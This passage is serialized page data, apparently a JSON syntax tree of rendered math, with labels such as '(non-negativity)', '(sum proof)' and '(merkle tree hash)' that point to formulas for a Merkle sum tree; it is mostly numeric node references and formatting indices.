g":83,"props":93266,"children":93268},{"className":93267},[3753],[93269,93274],{"type":24,"tag":83,"props":93270,"children":93272},{"className":93271,"style":93246},[3753,21328],[93273],{"type":29,"value":2858},{"type":24,"tag":83,"props":93275,"children":93277},{"className":93276},[3769],[93278],{"type":24,"tag":83,"props":93279,"children":93281},{"className":93280},[3774,21382],[93282,93313],{"type":24,"tag":83,"props":93283,"children":93285},{"className":93284},[3779],[93286,93308],{"type":24,"tag":83,"props":93287,"children":93290},{"className":93288,"style":93289},[3784],"height:0.3117em;",[93291],{"type":24,"tag":83,"props":93292,"children":93294},{"style":93293},"top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;",[93295,93299],{"type":24,"tag":83,"props":93296,"children":93298},{"className":93297,"style":3794},[3793],[],{"type":24,"tag":83,"props":93300,"children":93302},{"className":93301},[3799,3800,3801,3802],[93303],{"type":24,"tag":83,"props":93304,"children":93306},{"className":93305},[3753,21328,3802],[93307],{"type":29,"value":3482},{"type":24,"tag":83,"props":93309,"children":93311},{"className":93310},[21485],[93312],{"type":29,"value":21488},{"type":24,"tag":83,"props":93314,"children":93316},{"className":93315},[3779],[93317],{"type":24,"tag":83,"props":93318,"children":93320},{"className":93319,"style":92843},[3784],[93321],{"type":24,"tag":83,"props":93322,"children":93323},{},[],{"type":24,"tag":83,"props":93325,"children":93327},{"className":93326,"style":3931},[3833],[],{"type":24,"tag":83,"props":93329,"children":93331},{"className":93330},[3936],[93332],{"type":29,"value":8320},{"type":24,"tag":83,"props":93334,"children":93336},{"className":93335,"style":3931},[3833],[],{"type":24,"tag":83,"props":93338,"children":93340},{"className":93339},[3742],[93341,93345,93351,93356,93361,93366,93371,93376,93381,93386,93391,93396,93401,93406,93411,93416,93421,93426,93483,93488,93493,93498,93503,93508,93513,93518,93523,93528,93532,93537],{"type":24,"tag":83,"props":93342,"children":93344},{"className":93343,"style":92702},[3747],[],{"type":24,"tag":83,"props":93346,"children":93348},{"className":93347},[3753],[93349],{"type":29,"value":93350},"Σ",{"type":24,"tag":83,"props":93352,"children":93354},{"className":93353},[3833],[93355],{"type":29,"value":21429},{"type":24,"tag":83,"props":93357,"children":93359},{"className":93358},[3753,21328],[93360],{"type":29,"value":2033},{"type":24,"tag":83,"props":93362,"children":93364},{"className":93363},[3753,21328],[93365],{"type":29,"value":93217},{"type":24,"tag":83,"props":93367,"children":93369},{"className":93368},[3753,21328],[93370],{"type":29,"value":93019},{"type":24,"tag":83,"props":93372,"children":93374},{"className":93373},[3753,21328],[93375],{"type":29,"value":56117},{"type":24,"tag":83,"props":93377,"children":93379},{"className":93378},[3753,21328],[93380],{"type":29,"value":21470},{"type":24,"tag":83,"props":93382,"children":93384},{"className":93383,"style":92760},[3753],[93385],{"type":29,"value":2827},{"type":24,"tag":83,"props":93387,"children":93389},{"className":93388},[3753,21328],[93390],{"type":29,"value":2033},{"type":24,"tag":83,"props":93392,"children":93394},{"className":93393},[3753,21328],[93395],{"type":29,"value":92751},{"type":24,"tag":83,"props":93397,"children":93399},{"className":93398},[3753,21328],[93400],{"type":29,"value":21470},{"type":24,"tag":83,"props":93402,"children":93404},{"className":93403,"style":92760},[3753],[93405],{"type":29,"value":2827},{"type":24,"tag":83,"props":93407,"children":93409},{"className":93408},[3753,21328],[93410],{"type":29,"value":92768},{"type":24,"tag":83,"props":93412,"children":93414},{"className":93413,"style":92772},[3753,21328],[93415],{"type":29,"value":92775},{"type":24,"tag":83,"props":93417,"children":93419},{"className":93418},[3753,21328],[93420],{"type":29,"value":92781},{"type":24,"tag":83,"props":93422,"children":93424},{"className":93423},[3753,21328],[93425],{"type":29,"value":92787},{"type":24,"tag":83,"props":93427,"children":93429},{"className":93428},[3753],[93430,93435],{"type":24,"tag":83,"props":93431,"children":93433},{"className":93432},[3753,21328],[93434],{"type":29,"value":10399},{"type":24,"tag":83,"props":93436,"children":93438},{"className":93437},[3769],[93439],{"type":24,"tag":83,"props":93440,"children":93442},{"className":93441},[3774,21382],[93443,93472],{"type":24,"tag":83,"props":93444,"children":93446},{"className":93445},[3779],[93447,93467],{"type":24,"tag":83,"props":93448,"children":93450},{"className":93449,"style":93289},[3784],[93451],{"type":24,"tag":83,"props":93452,"children":93453},{"style":92816},[93454,93458],{"type":24,"tag":83,"props":93455,"children":93457},{"className":93456,"style":3794},[3793],[],{"type":24,"tag":83,"props":93459,"children":93461},{"className":93460},[3799,3800,3801,3802],[93462],{"type":24,"tag":83,"props":93463,"children":93465},{"className":93464},[3753,21328,3802],[93466],{"type":29,"value":3482},{"type":24,"tag":83,"props":93468,"children":93470},{"className":93469},[21485],[93471],{"type":29,"value":21488},{"type":24,"tag":83,"props":93473,"children":93475},{"className":93474},[3779],[93476],{"type":24,"tag":83,"props":93477,"children":93479},{"className":93478,"style":92843},[3784],[93480],{"type":24,"tag":83,"props":93481,"children":93482},{},[],{"type":24,"tag":83,"props":93484,"children":93486},{"className":93485},[21457],[93487],{"type":29,"value":1161},{"type":24,"tag":83,"props":93489,"children":93491},{"className":93490},[3753,21328],[93492],{"type":29,"value":2033},{"type":24,"tag":83,"props":93494,"children":93496},{"className":93495},[3753,21328],[93497],{"type":29,"value":92751},{"type":24,"tag":83,"props":93499,"children":93501},{"className":93500},[3753,21328],[93502],{"type":29,"value":21470},{"type":24,"tag":83,"props":93504,"children":93506},{"className":93505,"style":92760},[3753],[93507],{"type":29,"value":2827},{"type":24,"tag":83,"props":93509,"children":93511},{"className":93510},[3753,21328],[93512],{"type":29,"value":56117},{"type":24,"tag":83,"props":93514,"children":93516},{"className":93515},[3753,21328],[93517],{"type":29,"value":93019},{"type":24,"tag":83,"props":93519,"children":93521},{"className":93520},[3753,21328],[93522],{"type":29,"value":50848},{"type":24,"tag":83,"props":93524,"children":93526},{"className":93525},[21479],[93527],{"type":29,"value":15151},{"type":24,"tag":83,"props":93529,"children":93531},{"className":93530,"style":3834},[3833],[],{"type":24,"tag":83,"props":93533,"children":93535},{"className":93534},[3839],[93536],{"type":29,"value":3842},{"type":24,"tag":83,"props":93538,"children":93540},{"className":93539,"style":3834},[3833],[],{"type":24,"tag":83,"props":93542,"children":93544},{"className":93543},[3742],[93545,93549,93554,93559,93564,93569,93574,93580,93585,93591,93596,93601,93606,93611,93616,93621,93626,93631],{"type":24,"tag":83,"props":93546,"children":93548},{"className":93547,"style":92702},[3747],[],{"type":24,"tag":83,"props":93550,"children":93552},{"className":93551},[3753,21328],[93553],{"type":29,"value":2033},{"type":24,"tag":83,"props":93555,"children":93557},{"className":93556},[3753,21328],[93558],{"type":29,"value":92751},{"type":24,"tag":83,"props":93560,"children":93562},{"className":93561},[3753,21328],[93563],{"type":29,"value":21470},{"type":24,"tag":83,"props":93565,"children":93567},{"className":93566,"style":92760},[3753],[93568],{"type":29,"value":2827},{"type":24,"tag":83,"props":93570,"children":93572},{"className":93571},[3753,21328],[93573],{"type":29,"value":25},{"type":24,"tag":83,"props":93575,"children":93577},{"className":93576,"style":92760},[3753,21328],[93578],{"type":29,"value":93579},"r",{"type":24,"tag":83,"props":93581,"children":93583},{"className":93582},[3753,21328],[93584],{"type":29,"value":3482},{"type":24,"tag":83,"props":93586,"children":93588},{"className":93587},[3753,21328],[93589],{"type":29,"value":93590},"ces",{"type":24,"tag":83,"props":93592,"children":93594},{"className":93593},[21457],[93595],{"type":29,"value":1161},{"type":24,"tag":83,"props":93597,"children":93599},{"className":93598},[3753,21328],[93600],{"type":29,"value":2033},{"type":24,"tag":83,"props":93602,"children":93604},{"className":93603},[3753,21328],[93605],{"type":29,"value":92751},{"type":24,"tag":83,"props":93607,"children":93609},{"className":93608},[3753,21328],[93610],{"type":29,"value":21470},{"type":24,"tag":83,"props":93612,"children":93614},{"className":93613,"style":92760},[3753],[93615],{"type":29,"value":2827},{"type":24,"tag":83,"props":93617,"children":93619},{"className":93618},[3753,21328],[93620],{"type":29,"value":56117},{"type":24,"tag":83,"props":93622,"children":93624},{"className":93623},[3753,21328],[93625],{"type":29,"value":93019},{"type":24,"tag":83,"props":93627,"children":93629},{"className":93628},[3753,21328],[93630],{"type":29,"value":50848},{"type":24,"tag":83,"props":93632,"children":93634},{"className":93633},[21479],[93635],{"type":29,"value":15151},{"type":24,"tag":67,"props":93637,"children":93638},{},[93639,93798,93799],{"type":24,"tag":32,"props":93640,"children":93642},{"className":93641},[3726,3727],[93643],{"type":24,"tag":83,"props":93644,"children":93646},{"className":93645},[3732],[93647],{"type":24,"tag":83,"props":93648,"children":93650},{"className":93649,"ariaHidden":1237},[3737],[93651,93784],{"type":24,"tag":83,"props":93652,"children":93654},{"className":93653},[3742],[93655,93659,93664,93669,93674,93679,93684,93689,93694,93699,93704,93709,93714,93771,93775,93780],{"type":24,"tag":83,"props":93656,"children":93658},{"className":93657,"style":93205},[3747],[],{"type":24,"tag":83,"props":93660,"children":93662},{"className":93661},[3753,21328],[93663],{"type":29,"value":2033},{"type":24,"tag":83,"props":93665,"children":93667},{"className":93666},[3753,21328],[93668],{"type":29,"value":93217},{"type":24,"tag":83,"props":93670,"children":93672},{"className":93671},[3753,21328],[93673],{"type":29,"value":93019},{"type":24,"tag":83,"props":93675,"children":93677},{"className":93676},[3753,21328],[93678],{"type":29,"value":56117},{"type":24,"tag":83,"props":93680,"children":93682},{"className":93681},[3753,21328],[93683],{"type":29,"value":21470},{"type":24,"tag":83,"props":93685,"children":93687},{"className":93686,"style":92760},[3753],[93688],{"type":29,"value":2827},{"type":24,"tag":83,"props":93690,"children":93692},{"className":93691},[3753,21328],[93693],{"type":29,"value":51169},{"type":24,"tag":83,"props":93695,"children":93697},{"className":93696,"style":93246},[3753,21328],[93698],{"type":29,"value":93249},{"type":24,"tag":83,"props":93700,"children":93702},{"className":93701},[3753,21328],[93703],{"type":29,"value":93019},{"type":24,"tag":83,"props":93705,"children":93707},{"className":93706},[3753,21328],[93708],{"type":29,"value":3482},{"type":24,"tag":83,"props":93710,"children":93712},{"className":93711},[3753,21328],[93713],{"type":29,"value":21470},{"type":24,"tag":83,"props":93715,"children":93717},{"className":93716},[3753],[93718,93723],{"type":24,"tag":83,"props":93719,"children":93721},{"className":93720,"style":93246},[3753,21328],[93722],{"type":29,"value":2858},{"type":24,"tag":83,"props":93724,"children":93726},{"className":93725},[3769],[93727],{"type":24,"tag":83,"props":93728,"children":93730},{"className":93729},[3774,21382],[93731,93760],{"type":24,"tag":83,"props":93732,"children":93734},{"className":93733},[3779],[93735,93755],{"type":24,"tag":83,"props":93736,"children":93738},{"className":93737,"style":93289},[3784],[93739],{"type":24,"tag":83,"props":93740,"children":93741},{"style":93293},[93742,93746],{"type":24,"tag":83,"props":93743,"children":93745},{"className":93744,"style":3794},[3793],[],{"type":24,"tag":83,"props":93747,"children":93749},{"className":93748},[3799,3800,3801,3802],[93750],{"type":24,"tag":83,"props":93751,"children":93753},{"className":93752},[3753,21328,3802],[93754],{"type":29,"value":3482},{"type":24,"tag":83,"props":93756,"children":93758},{"className":93757},[21485],[93759],{"type":29,"value":21488},{"type":24,"tag":83,"props":93761,"children":93763},{"className":93762},[3779],[93764],{"type":24,"tag":83,"props":93765,"children":93767},{"className":93766,"style":92843},[3784],[93768],{"type":24,"tag":83,"props":93769,"children":93770},{},[],{"type":24,"tag":83,"props":93772,"children":93774},{"className":93773,"style":3931},[3833],[],{"type":24,"tag":83,"props":93776,"children":93778},{"className":93777},[3936],[93779],{"type":29,"value":9690},{"type":24,"tag":83,"props":93781,"children":93783},{"className":93782,"style":3931},[3833],[],{"type":24,"tag":83,"props":93785,"children":93787},{"className":93786},[3742],[93788,93793],{"type":24,"tag":83,"props":93789,"children":93792},{"className":93790,"style":93791},[3747],"height:0.6444em;",[],{"type":24,"tag":83,"props":93794,"children":93796},{"className":93795},[3753],[93797],{"type":29,"value":1166},{"type":29,"value":6204},{"type":24,"tag":2040,"props":93800,"children":93801},{},[93802],{"type":29,"value":93803},"(non-negativity)",{"type":24,"tag":67,"props":93805,"children":93806},{},[93807,94145,94146],{"type":24,"tag":32,"props":93808,"children":93810},{"className":93809},[3726,3727],[93811],{"type":24,"tag":83,"props":93812,"children":93814},{"className":93813},[3732],[93815],{"type":24,"tag":83,"props":93816,"children":93818},{"className":93817,"ariaHidden":1237},[3737],[93819,93955],{"type":24,"tag":83,"props":93820,"children":93822},{"className":93821},[3742],[93823,93827,93832,93837,93842,93847,93852,93857,93862,93867,93872,93877,93882,93887,93892,93897,93902,93907,93912,93917,93922,93927,93932,93937,93942,93946,93951],{"type":24,"tag":83,"props":93824,"children":93826},{"className":93825,"style":92702},[3747],[],{"type":24,"tag":83,"props":93828,"children":93830},{"className":93829},[3753,21328],[93831],{"type":29,"value":21470},{"type":24,"tag":83,"props":93833,"children":93835},{"className":93834},[3753,21328],[93836],{"type":29,"value":92730},{"type":24,"tag":83,"props":93838,"children":93840},{"className":93839},[3753,21328],[93841],{"type":29,"value":21470},{"type":24,"tag":83,"props":93843,"children":93845},{"className":93844},[3753,21328],[93846],{"type":29,"value":2033},{"type":24,"tag":83,"props":93848,"children":93850},{"className":93849,"style":92772},[3753,21328],[93851],{"type":29,"value":92775},{"type":24,"tag":83,"props":93853,"children":93855},{"className":93854,"style":92760},[3753],[93856],{"type":29,"value":2827},{"type":24,"tag":83,"props":93858,"children":93860},{"className":93859},[3753,21328],[93861],{"type":29,"value":2033},{"type":24,"tag":83,"props":93863,"children":93865},{"className":93864},[3753,21328],[93866],{"type":29,"value":92751},{"type":24,"tag":83,"props":93868,"children":93870},{"className":93869},[3753,21328],[93871],{"type":29,"value":21470},{"type":24,"tag":83,"props":93873,"children":93875},{"className":93874,"style":92760},[3753],[93876],{"type":29,"value":2827},{"type":24,"tag":83,"props":93878,"children":93880},{"className":93879},[3753,21328],[93881],{"type":29,"value":92768},{"type":24,"tag":83,"props":93883,"children":93885},{"className":93884,"style":92772},[3753,21328],[93886],{"type":29,"value":92775},{"type":24,"tag":83,"props":93888,"children":93890},{"className":93889},[3753,21328],[93891],{"type":29,"value":92781},{"type":24,"tag":83,"props":93893,"children":93895},{"className":93894},[3753,21328],[93896],{"type":29,"value":92787},{"type":24,"tag":83,"props":93898,"children":93900},{"className":93899},[21457],[93901],{"type":29,"value":1161},{"type":24,"tag":83,"props":93903,"children":93905},{"className":93904},[3753,21328],[93906],{"type":29,"value":2033},{"type":24,"tag":83,"props":93908,"children":93910},{"className":93909},[3753,21328],[93911],{"type":29,"value":92751},{"type":24,"tag":83,"props":93913,"children":93915},{"className":93914},[3753,21328],[93916],{"type":29,"value":21470},{"type":24,"tag":83,"props":93918,"children":93920},{"className":93919,"style":92760},[3753],[93921],{"type":29,"value":2827},{"type":24,"tag":83,"props":93923,"children":93925},{"className":93924},[3753,21328],[93926],{"type":29,"value":56117},{"type":24,"tag":83,"props":93928,"children":93930},{"className":93929},[3753,21328],[93931],{"type":29,"value":93019},{"type":24,"tag":83,"props":93933,"children":93935},{"className":93934},[3753,21328],[93936],{"type":29,"value":50848},{"type":24,"tag":83,"props":93938,"children":93940},{"className":93939},[21479],[93941],{"type":29,"value":15151},{"type":24,"tag":83,"props":93943,"children":93945},{"className":93944,"style":3931},[3833],[],{"type":24,"tag":83,"props":93947,"children":93949},{"className":93948},[3936],[93950],{"type":29,"value":8320},{"type":24,"tag":83,"props":93952,"children":93954},{"className":93953,"style":3931},[3833],[],{"type":24,"tag":83,"props":93956,"children":93958},{"className":93957},[3742],[93959,93963,93968,93973,93978,93983,93988,93993,93998,94003,94008,94013,94018,94023,94028,94033,94038,94043,94100,94105,94110,94115,94120,94125,94130,94135,94140],{"type":24,"tag":83,"props":93960,"children":93962},{"className":93961,"style":92702},[3747],[],{"type":24,"tag":83,"props":93964,"children":93966},{"className":93965},[3753],[93967],{"type":29,"value":93350},{"type":24,"tag":83,"props":93969,"children":93971},{"className":93970},[3833],[93972],{"type":29,"value":21429},{"type":24,"tag":83,"props":93974,"children":93976},{"className":93975},[3753,21328],[93977],{"type":29,"value":2033},{"type":24,"tag":83,"props":93979,"children":93981},{"className":93980},[3753,21328],[93982],{"type":29,"value":93217},{"type":24,"tag":83,"props":93984,"children":93986},{"className":93985},[3753,21328],[93987],{"type":29,"value":93019},{"type":24,"tag":83,"props":93989,"children":93991},{"className":93990},[3753,21328],[93992],{"type":29,"value":56117},{"type":24,"tag":83,"props":93994,"children":93996},{"className":93995},[3753,21328],[93997],{"type":29,"value":21470},{"type":24,"tag":83,"props":93999,"children":94001},{"className":94000,"style":92760},[3753],[94002],{"type":29,"value":2827},{"type":24,"tag":83,"props":94004,"children":94006},{"className":94005},[3753,21328],[94007],{"type":29,"value":2033},{"type":24,"tag":83,"props":94009,"children":94011},{"className":94010},[3753,21328],[94012],{"type":29,"value":92751},{"type":24,"tag":83,"props":94014,"children":94016},{"className":94015},[3753,21328],[94017],{"type":29,"value":21470},{"type":24,"tag":83,"props":94019,"children":94021},{"className":94020,"style":92760},[3753],[94022],{"type":29,"value":2827},{"type":24,"tag":83,"props":94024,"children":94026},{"className":94025},[3753,21328],[94027],{"type":29,"value":92768},{"type":24,"tag":83,"props":94029,"children":94031},{"className":94030,"style":92772},[3753,21328],[94032],{"type":29,"value":92775},{"type":24,"tag":83,"props":94034,"children":94036},{"className":94035},[3753,21328],[94037],{"type":29,"value":92781},{"type":24,"tag":83,"props":94039,"children":94041},{"className":94040},[3753,21328],[94042],{"type":29,"value":92787},{"type":24,"tag":83,"props":94044,"children":94046},{"className":94045},[3753],[94047,94052],{"type":24,"tag":83,"props":94048,"children":94050},{"className":94049},[3753,21328],[94051],{"type":29,"value":10399},{"type":24,"tag":83,"props":94053,"children":94055},{"className":94054},[3769],[94056],{"type":24,"tag":83,"props":94057,"children":94059},{"className":94058},[3774,21382],[94060,94089],{"type":24,"tag":83,"props":94061,"children":94063},{"className":94062},[3779],[94064,94084],{"type":24,"tag":83,"props":94065,"children":94067},{"className":94066,"style":93289},[3784],[94068],{"type":24,"tag":83,"props":94069,"children":94070},{"style":92816},[94071,94075],{"type":24,"tag":83,"props":94072,"children":94074},{"className":94073,"style":3794},[3793],[],{"type":24,"tag":83,"props":94076,"children":94078},{"className":94077},[3799,3800,3801,3802],[94079],{"type":24,"tag":83,"props":94080,"children":94082},{"className":94081},[3753,21328,3802],[94083],{"type":29,"value":3482},{"type":24,"tag":83,"props":94085,"children":94087},{"className":94086},[21485],[94088],{"type":29,"value":21488},{"type":24,"tag":83,"props":94090,"children":94092},{"className":94091},[3779],[94093],{"type":24,"tag":83,"props":94094,"children":94096},{"className":94095,"style":92843},[3784],[94097],{"type":24,"tag":83,"props":94098,"children":94099},{},[],{"type":24,"tag":83,"props":94101,"children":94103},{"className":94102},[21457],[94104],{"type":29,"value":1161},{"type":24,"tag":83,"props":94106,"children":94108},{"className":94107},[3753,21328],[94109],{"type":29,"value":2033},{"type":24,"tag":83,"props":94111,"children":94113},{"className":94112},[3753,21328],[94114],{"type":29,"value":92751},{"type":24,"tag":83,"props":94116,"children":94118},{"className":94117},[3753,21328],[94119],{"type":29,"value":21470},{"type":24,"tag":83,"props":94121,"children":94123},{"className":94122,"style":92760},[3753],[94124],{"type":29,"value":2827},{"type":24,"tag":83,"props":94126,"children":94128},{"className":94127},[3753,21328],[94129],{"type":29,"value":56117},{"type":24,"tag":83,"props":94131,"children":94133},{"className":94132},[3753,21328],[94134],{"type":29,"value":93019},{"type":24,"tag":83,"props":94136,"children":94138},{"className":94137},[3753,21328],[94139],{"type":29,"value":50848},{"type":24,"tag":83,"props":94141,"children":94143},{"className":94142},[21479],[94144],{"type":29,"value":15151},{"type":29,"value":6204},{"type":24,"tag":2040,"props":94147,"children":94148},{},[94149],{"type":29,"value":94150},"(sum proof)",{"type":24,"tag":67,"props":94152,"children":94153},{},[94154,94543,94544],{"type":24,"tag":32,"props":94155,"children":94157},{"className":94156},[3726,3727],[94158],{"type":24,"tag":83,"props":94159,"children":94161},{"className":94160},[3732],[94162],{"type":24,"tag":83,"props":94163,"children":94165},{"className":94164,"ariaHidden":1237},[3737],[94166,94252],{"type":24,"tag":83,"props":94167,"children":94169},{"className":94168},[3742],[94170,94175,94180,94186,94192,94197,94202,94207,94212,94218,94223,94229,94234,94239,94243,94248],{"type":24,"tag":83,"props":94171,"children":94174},{"className":94172,"style":94173},[3747],"height:1.0044em;vertical-align:-0.31em;",[],{"type":24,"tag":83,"props":94176,"children":94178},{"className":94177},[3753,21328],[94179],{"type":29,"value":50848},{"type":24,"tag":83,"props":94181,"children":94183},{"className":94182,"style":92760},[3753,21328],[94184],{"type":29,"value":94185},"er",{"type":24,"tag":83,"props":94187,"children":94190},{"className":94188,"style":94189},[3753,21328],"margin-right:0.03148em;",[94191],{"type":29,"value":88397},{"type":24,"tag":83,"props":94193,"children":94195},{"className":94194,"style":92772},[3753,21328],[94196],{"type":29,"value":92775},{"type":24,"tag":83,"props":94198,"children":94200},{"className":94199},[3753,21328],[94201],{"type":29,"value":51169},{"type":24,"tag":83,"props":94203,"children":94205},{"className":94204,"style":92760},[3753],[94206],{"type":29,"value":2827},{"type":24,"tag":83,"props":94208,"children":94210},{"className":94209},[3753,21328],[94211],{"type":29,"value":21470},{"type":24,"tag":83,"props":94213,"children":94215},{"className":94214},[3753,21328],[94216],{"type":29,"value":94217},"ree",{"type":24,"tag":83,"props":94219,"children":94221},{"className":94220,"style":92760},[3753],[94222],{"type":29,"value":2827},{"type":24,"tag":83,"props":94224,"children":94226},{"className":94225},[3753,21328],[94227],{"type":29,"value":94228},"ha",{"type":24,"tag":83,"props":94230,"children":94232},{"className":94231},[3753,21328],[94233],{"type":29,"value":10399},{"type":24,"tag":83,"props":94235,"children":94237},{"className":94236},[3753,21328],[94238],{"type":29,"value":84058},{"type":24,"tag":83,"props":94240,"children":94242},{"className":94241,"style":3931},[3833],[],{"type":24,"tag":83,"props":94244,"children":94246},{"className":94245},[3936],[94247],{"type":29,"value":8320},{"type":24,"tag":83,"props":94249,"children":94251},{"className":94250,"style":3931},[3833],[],{"type":24,"tag":83,"props":94253,"children":94255},{"className":94254},[3742],[94256,94260,94265,94270,94275,94280,94285,94290,94295,94300,94305,94362,94367,94371,94376,94381,94438,94443,94448,94452,94457,94462,94466,94471,94476,94538],{"type":24,"tag":83,"props":94257,"children":94259},{"className":94258,"style":3854},[3747],[],{"type":24,"tag":83,"props":94261,"children":94263},{"className":94262,"style":21329},[3753,21328],[94264],{"type":29,"value":21332},{"type":24,"tag":83,"props":94266,"children":94268},{"className":94267},[3753,21328],[94269],{"type":29,"value":92714},{"type":24,"tag":83,"props":94271,"children":94273},{"className":94272},[3753,21328],[94274],{"type":29,"value":3482},{"type":24,"tag":83,"props":94276,"children":94278},{"className":94277},[3753,21328],[94279],{"type":29,"value":70279},{"type":24,"tag":83,"props":94281,"children":94283},{"className":94282},[3753,21328],[94284],{"type":29,"value":92730},{"type":24,"tag":83,"props":94286,"children":94288},{"className":94287},[3753,21328],[94289],{"type":29,"value":56117},{"type":24,"tag":83,"props":94291,"children":94293},{"className":94292},[21457],[94294],{"type":29,"value":558},{"type":24,"tag":83,"props":94296,"children":94298},{"className":94297},[3753,21328],[94299],{"type":29,"value":94228},{"type":24,"tag":83,"props":94301,"children":94303},{"className":94302},[3753,21328],[94304],{"type":29,"value":10399},{"type":24,"tag":83,"props":94306,"children":94308},{"className":94307},[3753],[94309,94314],{"type":24,"tag":83,"props":94310,"children":94312},{"className":94311},[3753,21328],[94313],{"type":29,"value":84058},{"type":24,"tag":83,"props":94315,"children":94317},{"className":94316},[3769],[94318],{"type":24,"tag":83,"props":94319,"children":94321},{"className":94320},[3774,21382],[94322,94351],{"type":24,"tag":83,"props":94323,"children":94325},{"className":94324},[3779],[94326,94346],{"type":24,"tag":83,"props":94327,"children":94329},{"className":94328,"style":92812},[3784],[94330],{"type":24,"tag":83,"props":94331,"children":94332},{"style":92816},[94333,94337],{"type":24,"tag":83,"props":94334,"children":94336},{"className":94335,"style":3794},[3793],[],{"type":24,"tag":83,"props":94338,"children":94340},{"className":94339},[3799,3800,3801,3802],[94341],{"type":24,"tag":83,"props":94342,"children":94344},{"className":94343},[3753,3802],[94345],{"type":29,"value":1166},{"type":24,"tag":83,"props":94347,"children":94349},{"className":94348},[21485],[94350],{"type":29,"value":21488},{"type":24,"tag":83,"props":94352,"children":94354},{"className":94353},[3779],[94355],{"type":24,"tag":83,"props":94356,"children":94358},{"className":94357,"style":92843},[3784],[94359],{"type":24,"tag":83,"props":94360,"children":94361},{},[],{"type":24,"tag":83,"props":94363,"children":94365},{"className":94364},[3865],[94366],{"type":29,"value":3868},{"type":24,"tag":83,"props":94368,"children":94370},{"className":94369,"style":3872},[3833],[],{"type":24,"tag":83,"props":94372,"children":94374},{"className":94373},[3753,21328],[94375],{"type":29,"value":94228},{"type":24,"tag":83,"props":94377,"children":94379},{"className":94378},[3753,21328],[94380],{"type":29,"value":10399},{"type":24,"tag":83,"props":94382,"children":94384},{"className":94383},[3753],[94385,94390],{"type":24,"tag":83,"props":94386,"children":94388},{"className":94387},[3753,21328],[94389],{"type":29,"value":84058},{"type":24,"tag":83,"props":94391,"children":94393},{"className":94392},[3769],[94394],{"type":24,"tag":83,"props":94395,"children":94397},{"className":94396},[3774,21382],[94398,94427],{"type":24,"tag":83,"props":94399,"children":94401},{"className":94400},[3779],[94402,94422],{"type":24,"tag":83,"props":94403,"children":94405},{"className":94404,"style":92812},[3784],[94406],{"type":24,"tag":83,"props":94407,"children":94408},{"style":92816},[94409,94413],{"type":24,"tag":83,"props":94410,"children":94412},{"className":94411,"style":3794},[3793],[],{"type":24,"tag":83,"props":94414,"children":94416},{"className":94415},[3799,3800,3801,3802],[94417],{"type":24,"tag":83,"props":94418,"children":94420},{"className":94419},[3753,3802],[94421],{"type":29,"value":3756},{"type":24,"tag":83,"props":94423,"children":94425},{"className":94424},[21485],[94426],{"type":29,"value":21488},{"type":24,"tag":83,"props":94428,"children":94430},{"className":94429},[3779],[94431],{"type":24,"tag":83,"props":94432,"children":94434},{"className":94433,"style":92843},[3784],[94435],{"type":24,"tag":83,"props":94436,"children":94437},{},[],{"type":24,"tag":83,"props":94439,"children":94441},{"className":94440},[3865],[94442],{"type":29,"value":3868},{"type":24,"tag":83,"props":94444,"children":94446},{"className":94445},[3833],[94447],{"type":29,"value":21429},{"type":24,"tag":83,"props":94449,"children":94451},{"className":94450,"style":3872},[3833],[],{"type":24,"tag":83,"props":94453,"children":94455},{"className":94454},[3753],[94456],{"type":29,"value":509},{"type":24,"tag":83,"props":94458,"children":94460},{"className":94459},[3865],[94461],{"type":29,"value":3868},{"type":24,"tag":83,"props":94463,"children":94465},{"className":94464,"style":3872},[3833],[],{"type":24,"tag":83,"props":94467,"children":94469},{"className":94468},[3753,21328],[94470],{"type":29,"value":94228},{"type":24,"tag":83,"props":94472,"children":94474},{"className":94473},[3753,21328],[94475],{"type":29,"value":10399},{"type":24,"tag":83,"props":94477,"children":94479},{"className":94478},[3753],[94480,94485],{"type":24,"tag":83,"props":94481,"children":94483},{"className":94482},[3753,21328],[94484],{"type":29,"value":84058},{"type":24,"tag":83,"props":94486,"children":94488},{"className":94487},[3769],[94489],{"type":24,"tag":83,"props":94490,"children":94492},{"className":94491},[3774,21382],[94493,94527],{"type":24,"tag":83,"props":94494,"children":94496},{"className":94495},[3779],[94497,94522],{"type":24,"tag":83,"props":94498,"children":94500},{"className":94499,"style":92812},[3784],[94501],{"type":24,"tag":83,"props":94502,"children":94503},{"style":92816},[94504,94508],{"type":24,"tag":83,"props":94505,"children":94507},{"className":94506,"style":3794},[3793],[],{"type":24,"tag":83,"props":94509,"children":94511},{"className":94510},[3799,3800,3801,3802],[94512],{"type":24,"tag":83,"props":94513,"children":94515},{"className":94514},[3753,3802],[94516],{"type":24,"tag":83,"props":94517,"children":94519},{"className":94518},[3753,3802],[94520],{"type":29,"value":94521},"511",{"type":24,"tag":83,"props":94523,"children":94525},{"className":94524},[21485],[94526],{"type":29,"value":21488},{"type":24,"tag":83,"props":94528,"children":94530},{"className":94529},[3779],[94531],{"type":24,"tag":83,"props":94532,"children":94534},{"className":94533,"style":92843},[3784],[94535],{"type":24,"tag":83,"props":94536,"children":94537},{},[],{"type":24,"tag":83,"props":94539,"children":94541},{"className":94540},[21479],[94542],{"type":29,"value":2872},{"type":29,"value":6204},{"type":24,"tag":2040,"props":94545,"children":94546},{},[94547],{"type":29,"value":94548},"(merkle tree hash)",{"type":24,"tag":67,"props":94550,"children":94551},{},[94552,94827,94828,94833,94835,94840],{"type":24,"tag":32,"props":94553,"children":94555},{"className":94554},[3726,3727],[94556],{"type":24,"tag":83,"props":94557,"children":94559},{"className":94558},[3732],[94560],{"type":24,"tag":83,"props":94561,"children":94563},{"className":94562,"ariaHidden":1237},[3737],[94564,94757],{"type":24,"tag":83,"props":94565,"children":94567},{"className":94566},[3742],[94568,94572,94577,94582,94587,94592,94597,94602,94607,94612,94617,94622,94627,94632,94637,94642,94699,94704,94709,94714,94719,94724,94729,94734,94739,94744,94748,94753],{"type":24,"tag":83,"props":94569,"children":94571},{"className":94570,"style":92702},[3747],[],{"type":24,"tag":83,"props":94573,"children":94575},{"className":94574},[3753,21328],[94576],{"type":29,"value":2033},{"type":24,"tag":83,"props":94578,"children":94580},{"className":94579},[3753,21328],[94581],{"type":29,"value":93217},{"type":24,"tag":83,"props":94583,"children":94585},{"className":94584},[3753,21328],[94586],{"type":29,"value":93019},{"type":24,"tag":83,"props":94588,"children":94590},{"className":94589},[3753,21328],[94591],{"type":29,"value":56117},{"type":24,"tag":83,"props":94593,"children":94595},{"className":94594},[3753,21328],[94596],{"type":29,"value":21470},{"type":24,"tag":83,"props":94598,"children":94600},{"className":94599,"style":92760},[3753],[94601],{"type":29,"value":2827},{"type":24,"tag":83,"